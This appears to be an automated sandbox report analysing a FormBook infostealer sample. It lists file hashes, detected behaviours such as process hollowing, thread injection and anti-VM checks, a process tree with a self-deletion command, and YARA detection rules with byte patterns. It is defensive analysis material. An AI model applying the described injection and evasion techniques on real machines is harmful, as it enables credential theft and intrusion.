Edit tour

Windows Analysis Report
H4vBtZsi8xAKaMm.exe

Overview

General Information

Sample Name:	H4vBtZsi8xAKaMm.exe
Analysis ID:	562156
MD5:	7eabab04e4a6fdd45238e32ed81e222c
SHA1:	e0e1dc469746f5e2e049ea4a93d9b09a9227b342
SHA256:	b79d2d02fe777cfd64723ad9b3935b30c00cbc75614fcadbf867cce88df4a8fd
Tags:	exe
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Writes to foreign memory regions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

.NET source code contains very large strings

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

Sigma detected: Suspicious Rundll32 Without Any CommandLine Params

Uses 32bit PE files

Found decision node followed by non-executed suspicious APIs

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

HTTP GET or POST without a user agent

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Contains functionality to read the PEB

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

H4vBtZsi8xAKaMm.exe (PID: 6364 cmdline: "C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe" MD5: 7EABAB04E4A6FDD45238E32ED81E222C)

MSBuild.exe (PID: 6100 cmdline: {path} MD5: D621FD77BD585874F9686D3A76462EF1)

explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

rundll32.exe (PID: 4480 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 6880 cmdline: /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 4704 cmdline: explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

explorer.exe (PID: 4104 cmdline: explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cleanup

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x26a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x27a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x291f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x140c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x991a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x5839:$sqlite3step: 68 34 1C 7B E1 0x594c:$sqlite3step: 68 34 1C 7B E1 0x5868:$sqlite3text: 68 38 2A 90 C5 0x598d:$sqlite3text: 68 38 2A 90 C5 0x587b:$sqlite3blob: 68 53 D8 7F 8C 0x59a3:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xeffe0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xf024a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x11d400:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x11d66a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xfbd7d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x12919d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xfb869:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x128c89:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xfbe7f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x12929f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xfbff7:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x129417:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xf0c62:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x11e082:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xfaae4:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x127f04:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xf195b:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x11ed7b:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x101fef:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x12f40f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x102ff2:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xfef11:$sqlite3step: 68 34 1C 7B E1 0xff024:$sqlite3step: 68 34 1C 7B E1 0x12c331:$sqlite3step: 68 34 1C 7B E1 0x12c444:$sqlite3step: 68 34 1C 7B E1 0xfef40:$sqlite3text: 68 38 2A 90 C5 0xff065:$sqlite3text: 68 38 2A 90 C5 0x12c360:$sqlite3text: 68 38 2A 90 C5 0x12c485:$sqlite3text: 68 38 2A 90 C5 0xfef53:$sqlite3blob: 68 53 D8 7F 8C 0xff07b:$sqlite3blob: 68 53 D8 7F 8C 0x12c373:$sqlite3blob: 68 53 D8 7F 8C 0x12c49b:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x26a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x27a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x291f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x140c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x991a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x5839:$sqlite3step: 68 34 1C 7B E1 0x594c:$sqlite3step: 68 34 1C 7B E1 0x5868:$sqlite3text: 68 38 2A 90 C5 0x598d:$sqlite3text: 68 38 2A 90 C5 0x587b:$sqlite3blob: 68 53 D8 7F 8C 0x59a3:$sqlite3blob: 68 53 D8 7F 8C
00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: H4vBtZsi8xAKaMm.exe PID: 6364	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
14.2.MSBuild.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.2.MSBuild.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
14.0.MSBuild.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
14.0.MSBuild.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab17:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.0.MSBuild.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a39:$sqlite3step: 68 34 1C 7B E1 0x17b4c:$sqlite3step: 68 34 1C 7B E1 0x17a68:$sqlite3text: 68 38 2A 90 C5 0x17b8d:$sqlite3text: 68 38 2A 90 C5 0x17a7b:$sqlite3blob: 68 53 D8 7F 8C 0x17ba3:$sqlite3blob: 68 53 D8 7F 8C
14.0.MSBuild.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
14.0.MSBuild.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab17:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.0.MSBuild.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a39:$sqlite3step: 68 34 1C 7B E1 0x17b4c:$sqlite3step: 68 34 1C 7B E1 0x17a68:$sqlite3text: 68 38 2A 90 C5 0x17b8d:$sqlite3text: 68 38 2A 90 C5 0x17a7b:$sqlite3blob: 68 53 D8 7F 8C 0x17ba3:$sqlite3blob: 68 53 D8 7F 8C
14.0.MSBuild.exe.400000.2.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
14.0.MSBuild.exe.400000.2.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab17:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.0.MSBuild.exe.400000.2.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a39:$sqlite3step: 68 34 1C 7B E1 0x17b4c:$sqlite3step: 68 34 1C 7B E1 0x17a68:$sqlite3text: 68 38 2A 90 C5 0x17b8d:$sqlite3text: 68 38 2A 90 C5 0x17a7b:$sqlite3blob: 68 53 D8 7F 8C 0x17ba3:$sqlite3blob: 68 53 D8 7F 8C
14.2.MSBuild.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
14.2.MSBuild.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab17:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.2.MSBuild.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a39:$sqlite3step: 68 34 1C 7B E1 0x17b4c:$sqlite3step: 68 34 1C 7B E1 0x17a68:$sqlite3text: 68 38 2A 90 C5 0x17b8d:$sqlite3text: 68 38 2A 90 C5 0x17a7b:$sqlite3blob: 68 53 D8 7F 8C 0x17ba3:$sqlite3blob: 68 53 D8 7F 8C
14.0.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
